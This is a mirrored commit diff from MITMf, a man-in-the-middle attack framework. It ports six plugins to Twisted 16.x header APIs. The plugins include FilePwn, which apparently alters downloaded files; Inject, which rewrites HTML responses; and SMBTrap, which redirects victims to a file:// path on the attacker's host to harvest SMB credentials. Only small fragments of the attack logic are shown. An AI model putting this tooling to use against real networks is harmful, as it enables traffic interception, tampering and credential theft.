mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-10 15:23:41 -07:00
Hold on to your butts cause here we go.
This should resolve: * Issue #307 * Issue #309 * Issue #302 * Issue #294 Apperently, Twisted made some fairly heavy API changes in their 16.x release which kinda fucked all the plugins up.
This commit is contained in:
parent
06ef1da084
commit
2dc1dd4f12
6 changed files with 13 additions and 13 deletions
|
@ -611,14 +611,14 @@ class FilePwn(Plugin):
|
|||
|
||||
def response(self, response, request, data):
|
||||
|
||||
content_header = response.headers['content-type']
|
||||
content_header = response.responseHeaders.getRawHeaders('Content-Type')[0]
|
||||
client_ip = request.client.getClientIP()
|
||||
host = request.headers['host']
|
||||
|
||||
try:
|
||||
content_length = int(response.headers['content-length'])
|
||||
except KeyError:
|
||||
if not response.responseHeaders.hasHeader('content-length'):
|
||||
content_length = None
|
||||
else:
|
||||
content_length = int(response.responseHeaders.getRawHeaders('content-length')[0])
|
||||
|
||||
for target in self.user_config['targets'].keys():
|
||||
if target == 'ALL':
|
||||
|
|
|
@ -35,7 +35,7 @@ class ImageRandomizer(Plugin):
|
|||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||
self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper()
|
||||
|
||||
def response(self, response, request, data):
|
||||
try:
|
||||
|
|
|
@ -61,11 +61,11 @@ class Inject(Plugin):
|
|||
ip = response.getClientIP()
|
||||
hn = response.getRequestHostname()
|
||||
|
||||
try:
|
||||
mime = response.headers['Content-Type']
|
||||
except KeyError:
|
||||
if not response.responseHeaders.hasHeader('Content-Type'):
|
||||
return {'response': response, 'request':request, 'data': data}
|
||||
|
||||
mime = response.responseHeaders.getRawHeaders('Content-Type')[0]
|
||||
|
||||
if "text/html" not in mime:
|
||||
return {'response': response, 'request':request, 'data': data}
|
||||
|
||||
|
|
|
@ -35,7 +35,7 @@ class Replace(Plugin):
|
|||
self.options = options
|
||||
|
||||
def response(self, response, request, data):
|
||||
mime = response.headers['Content-Type']
|
||||
mime = response.responseHeaders.getRawHeaders('Content-Type')[0]
|
||||
hn = response.getRequestHostname()
|
||||
|
||||
if "text/html" in mime:
|
||||
|
|
|
@ -33,6 +33,6 @@ class SMBTrap(Plugin):
|
|||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||
|
||||
def responseheaders(self, response, request):
|
||||
self.clientlog.info("Trapping request to {}".format(request.headers['host']))
|
||||
self.clientlog.info("Trapping request to {}".format(request.headers['host']), extra=request.clientInfo)
|
||||
rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8))
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path)
|
||||
response.responseHeaders.setRawHeaders('Location', ["file://{}/{}".format(self.ip, rand_path)])
|
||||
|
|
|
@ -34,7 +34,7 @@ class Upsidedownternet(Plugin):
|
|||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||
self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper()
|
||||
|
||||
def response(self, response, request, data):
|
||||
try:
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue